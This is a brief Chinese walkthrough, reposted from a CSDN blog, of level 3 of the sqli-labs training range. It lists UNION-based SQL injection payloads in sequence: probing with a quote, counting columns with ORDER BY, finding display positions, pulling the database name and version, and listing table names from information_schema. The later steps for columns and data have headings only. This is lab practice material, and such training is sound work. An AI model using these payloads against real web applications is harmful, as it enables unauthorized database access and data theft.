web——sqliabs靶场——第三关
今天来搞搞第三关，感觉和之前差不多，就多了一个奇怪的知识
来看看有没有注入点
/?id=1'
有注入点
判断注入点类型
输入/?id=1') and 1=2 --+
3.判断它的字段数
/?id=1') order by 1-++
/?id=1') order by 2-++
/?id=1') order by 3-++
/?id=1') order by 4-++
爆出显示位
/?id=-1') union select 1,2,3 --+
开始判断库名
?id=-1') union select 1,database(),version() --+
判断表名
/?id=-1') union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='security' --+
判断user的列名
爆具体的列里的数据
原文地址：https://blog.csdn.net/2301_80905479/article/details/143669250
免责声明：本站文章内容转载自网络资源，如本站内容侵犯了原著者的合法权益，可联系本站删除。更多内容请关注自学内容网（zxcms.com）！